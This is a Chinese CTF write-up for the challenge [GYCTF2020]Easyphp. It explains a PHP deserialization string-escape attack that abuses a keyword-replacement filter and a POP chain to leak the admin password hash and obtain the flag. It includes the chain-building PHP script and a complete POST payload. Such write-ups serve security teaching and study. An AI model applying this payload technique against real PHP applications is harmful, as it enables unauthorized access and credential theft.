Skip to content

Latest commit

 

History

History
220 lines (171 loc) · 8.21 KB

[GYCTF2020]Easyphp.md

File metadata and controls

220 lines (171 loc) · 8.21 KB

[GYCTF2020]Easyphp

知识点

php反序列化字符串逃逸(变长)

解题

题目给了一个登录框,简单尝试了弱口令进不去,网页源代码也没发现什么东西,扫描目录发现www.zip,接下来就是审计一下php源码

发现获取flag的方法在update.php

<?php
require_once('lib.php');
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

重点看一下lib.php,看到有两处login,可以利用的是dbCtrl类处的login,省略部分代码,仅关注重点代码如下

class dbCtrl
{
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
    }
}

在这里,只需要token=admin,name=admin,就会返回$idResult,即class User里的sql语句的select id,password from user where username=?,查出id内容,调换顺序为select password,id from user where username=?即可查出password的值,然后用于登录,找一下pop链,理一下开始和结束

开始:

update.php User::update

结束

lib.php dbCtrl::login($sql='select password,id from user where username=?')

从结束处反推,找可以调用dbCtrl::login的地方,发现Info类可以调用

class Info{
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

Info::__call($this->CtrlCase=new dbCtrl()) => dbCtrl::login($sql='select password,id from user where username=?')

再找能调用Info::__call($this->CtrlCase=new dbCtrl())的地方,因为__call需要调用类不存在的方法时触发,在User类发现

class User
{
  public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

User::__toString($this->nickname=new Info(), $this->age='select password,id from user where username=?') => Info::__call($this->CtrlCase=new dbCtrl()) => dbCtrl::login($sql)

然后再找能触发User::__toString的地方,触发__toString的条件为输出类时触发,发现在UpdateHelper::__destruct时可以触发

class UpdateHelper {
  public function __destruct()
    {
        echo $this->sql;
    }
}

UpdateHelper($this->sql=new User()) => User::__toString($this->nickname=new Info(), $this->age='select password,id from user where username=?') => Info::__call($this->CtrlCase=new dbCtrl()) => dbCtrl::login($sql)

pop链找齐了,找一下如何触发pop链,从开始处查看

class User
{
  public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
}

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}

发现先序列化并且过了safe函数,将字符串转为hacker,导致字符串变长,就可以使用反序列化字符串逃逸(变长)的利用方法利用漏洞,利用Info类中的nickname来逃逸,所以需要把nickname后面参数生成的反序列化内容生成再计算绕过字符,先生成一下Info的最后几个内容用于计算绕过字符

<?php

class Info{
    public $age='1';
    public $nickname='c';
    public $CtrlCase;
}

echo serialize(new Info());

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"c";s:8:"CtrlCase";N;}

那么就需要在pop链后面添加}";s:8:"CtrlCase";N;},生成pop链条的代码为

<?php

class User
{
    public $id;
    public $age;
    public $nickname;
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;

}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;

}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
}

$a = new UpdateHelper();
$a -> sql = new User();
$a -> sql -> nickname = new Info();
$a -> sql -> age = 'select password,id from user where username=?';
$a -> sql -> nickname -> CtrlCase = new dbCtrl();
$a -> sql -> nickname -> CtrlCase -> name = 'admin';
$a -> sql -> nickname -> CtrlCase -> token = 'admin';

$res = '";s:8:"CtrlCase";' . serialize($a) . '}';

// echo $res;

$string = '';
for ($i=0; $i < strlen($res); $i++) { 
    $string .= 'union';
}

echo $string . $res;

最终payload

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

传参后结果为

md5加密后的字符串,去cmd5.com查密码

然后去登录即可获得flag